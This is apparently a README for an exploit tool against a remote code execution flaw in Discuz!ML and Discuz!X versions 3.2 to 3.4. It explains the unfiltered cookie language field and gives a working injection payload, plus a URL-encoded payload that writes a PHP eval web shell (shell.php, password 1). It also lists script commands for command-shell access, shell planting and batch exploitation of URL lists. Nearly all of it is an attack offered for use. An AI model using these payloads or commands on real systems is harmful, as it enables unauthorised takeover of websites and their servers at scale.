discuz-ml-rce

Affected systems and versions: Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 Vulnerability cause: The Discuz!ML system does not filter the language parameter content received by l in the cookie, leading to string concatenation, thereby executing PHP code.

The cookie field will contain an xxxx_xxxx_language field. The root cause is that this field has an injection vulnerability, resulting in RCE.

Capture packets, find the value of the language field in the cookie, and change it to:

xxxx_xxxx_language=sc'.phpinfo().'

getshell

%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27 The actual value is:

'.+file_put_contents('shell.php',urldecode('')).'

This will generate shell.php in the path, with the connection password being 1

============================================================================================================================================================== Check whether the vulnerability exists

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"

cmdshell mode

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell

getshell mode

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell

Batch detection

python dz-ml-rce.py -f urls.txt

Batch getshell

python dz-ml-rce.py -f urls.txt --getshell